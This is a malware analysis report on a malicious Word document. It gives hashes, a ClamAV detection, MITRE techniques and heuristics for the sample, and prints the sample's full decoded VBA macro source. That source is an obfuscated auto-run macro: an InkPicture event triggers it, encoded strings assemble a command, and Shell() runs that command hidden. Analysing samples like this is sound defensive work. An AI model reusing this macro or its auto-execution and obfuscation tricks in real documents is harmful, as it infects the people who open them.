Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d21eb79b506d7a54…

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-07-06 14:57:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 36d65dbe39a16893a8fc408c0aa50c1c SHA-1: 0db295e89806511bd1c188d29291e630792c98a2 SHA-256: d21eb79b506d7a5409d96d5696245071932fbc547eebd425be6b03e5d9fc54b7
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, commonly used to execute downloaded payloads. The macros appear to be obfuscated, but the presence of Shell() and the ClamAV detection strongly suggest a downloader or agent malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Agent-6923111-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Agent-6923111-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3300 bytes
SHA-256: 8a4b7b0053a005860775d0790a3a49b94302a34ee90d496b6af9152bfadb12b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
test3 "1"
End Sub


Attribute VB_Name = "Module1"
Function gnkruhl()
Randomize
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + GetAlphabetSymbol(fghyut(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function GetAlphabetSymbol(num, key)
If num - key < 1 Then
GetAlphabetSymbol = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
GetAlphabetSymbol = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function fghyut(yuiuv)
gutjh = UserForm1.TextBox1
jkdhf8 = Len(gutjh)
For i = 1 To jkdhf8
If yuiuv = Mid(gutjh, i, 1) Then
fghyut = i
Else
yfiui = 1
End If
Next i
End Function

Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

Function test3(ByRef text)
If UserForm1.Label1 = osdif Then
UserForm1.TextBox3 = text
End If
End Function

Function osdif()
osdif = "1"
End Function

Attribute VB_Name = "Module3"
Function sidfi()
name1 = gnkruhl()
dec2 = DecodeString("{.jpod(z,5\")
dec1 = yhdakui
dec4 = DecodeString("_$$1p)g1|")
name2 = gnkruhl()
dec5 = DecodeString("%imi$$}:jphop gof/ijj5$$1p)g1|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppg4[[(oozho)i(p%/f)[vofjp'i%od$$}-/hp/x;")
dec8 = DecodeString("{$$xppg4[[fhjdj gofci/pj%/f)[vofjp'i%od$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|")
name3 = gnkruhl()
name4 = gnkruhl()
text = ""
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, "", ""
test2 text, tyjbbc, name2
test2 text, "", ""
test2 text, dec4, name3
test2 text, "", ""
test2 text, dec5, name3
test2 text, "", ""
test2 text, dec6, name1
test2 text, "", ""
test2 text, dec7, name1
test2 text, "", ""
dec9 = DecodeString("%'hp:5jphop gof/ijj5$1p)g1|")
dec10 = DecodeString("%'hp$5 ud(kfujpabi5xdkki(]")
test2 text, dec8, name4
test2 text, dec9, name4
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Function

Function tyjbbc()
tyjbbc = DecodeString("};{(iu f'ci/p5jajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
End Function

Function yhdakui()
yhdakui = DecodeString("/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5")
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2DD6435B-B013-4AE6-AF58-82CF61DFEAB9}{2F02FFB6-D1D6-4F1B-9F5D-A52BA5701FAF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub TextBox1_Change()
MsgBox "Ok"
End Sub

Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
sidfi
End Sub